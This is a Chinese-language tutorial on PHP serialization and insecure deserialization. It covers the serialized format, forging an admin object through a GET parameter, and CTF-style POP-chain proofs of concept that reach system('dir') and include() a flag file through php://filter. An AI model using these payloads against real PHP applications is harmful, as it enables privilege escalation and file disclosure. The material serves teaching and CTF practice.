PHP 反序列化

一、PHP 序列化

1、对象的序列化
php 复制代码
<?php
class people{
    public $name='Gaming';
    private $Nation='Liyue';
    protected $Birthday='12/22';

    public function say(){
        echo "老板你好呀,我是和记厅的镖师,叫我嘉明就行,要运货吗你?";
    }
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a);       //将 字符串 $a 进行 url 编码
echo $c;

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22**%00people%00Nation** %22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22**%00%2A%00Birthday**%22%3Bs%3A5%3A%2212%2F22%22%3B%7D

O:(object)一个序列化的对象

6:类名的长度

3:类中有 3 个属性

s:(string)字符串

4:属性 长度

6:值 长度

2、数组的序列化
①、普通数组
php 复制代码
$arr=array('Gaming','Chongyun');
echo serialize($arr);

运行:

> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}

a:数组

2:2 个值

i:索引

0:第 0 个

②、关联数组
php 复制代码
 $arr=array(
     'name' => 'Chongyun',
     'Nation' => 'Liyue',
     'Birthday' => '9/7'
 );
 echo serialize($arr);

运行:

a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}

二、PHP 反序列化

php 复制代码
 $Gaming=new people();
 echo $Gaming->name;
 echo '<br>';
 $a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
 echo $a;
 echo '<br>';
 echo '<br>';
 print_r(unserialize($a));
 echo '<br>';
 echo '<br>';
 var_dump(unserialize($a));

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

people Object ( [name] => Gaming [Nation:people:private] => Liyue [Birthday:protected] => 12/22 )

object(people)#2 (3) { ["name"]=> string(6) "Gaming" ["Nation":"people":private]=> string(5) "Liyue" ["Birthday":protected]=> string(5) "12/22" }

获得一个 序列化 的字符串 :

O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

手动添加 空字符

s:14:"%00 people**%00** Nation";s:5:"Liyue";s:11:"%00*%00Birthday";

篡改字符串信息,反序列化后得到 篡改后的 对象 :

php 复制代码
 highlight_file(__FILE__);
 class User {
     public $username='lili';
     public $isAdmin=0;
 }
 ​
 $userData = $_GET['data'];
 $user = unserialize($userData);
 if($user->isAdmin===1 && $user->username==='admin'){
     // 目标输出:欢迎你管理员~
     echo '欢迎你管理员~';
 }
 else{
     echo '你是一个普通用户!';
 }

编写脚本,得到序列化字符串

php 复制代码
class User {
     public $username='admin';
     public $isAdmin=1;
 }
 ​
 $user = new User();
 $serialized_data = serialize($user);
 echo $serialized_data;

GET 传参即可

三、pop链的构造

引入:
php 复制代码
if(isset($_GET['test'])){
    @unserialize($_GET['test']);
    highlight_file(__FILE__);
}
else{
    $a=new test;
}

POC 编写:

php 复制代码
class  test{
    private $index;
    function __construct()
    {
        $this->index=new execute();
    }
}

class execute{
    public  $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```
例题:
php 复制代码
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POC 构造:

php 复制代码
class Modifier {
 	protected  $var="flag.php"; #include函数使用为协议读取文件
 // protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
 }
 class Test{
     public $p;
 }
 class Show{
     public $source;
     public $str;
     //将另一个对象赋值给属性需要使用构造函数。
     public function __construct(){
         $this->str =new Test();  // 触发 __get()
     }
 }
 $new_show = new Show();  // 触发 POP链中的 __construct()
 $new_show->source = new Show();  // 触发 __toString()
 $new_show->source->str->p = new Modifier();  // 触发 __invoke()
 echo urlencode(serialize($new_show));
相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全
feifeigo1235 天前
matlab画图工具
开发语言·matlab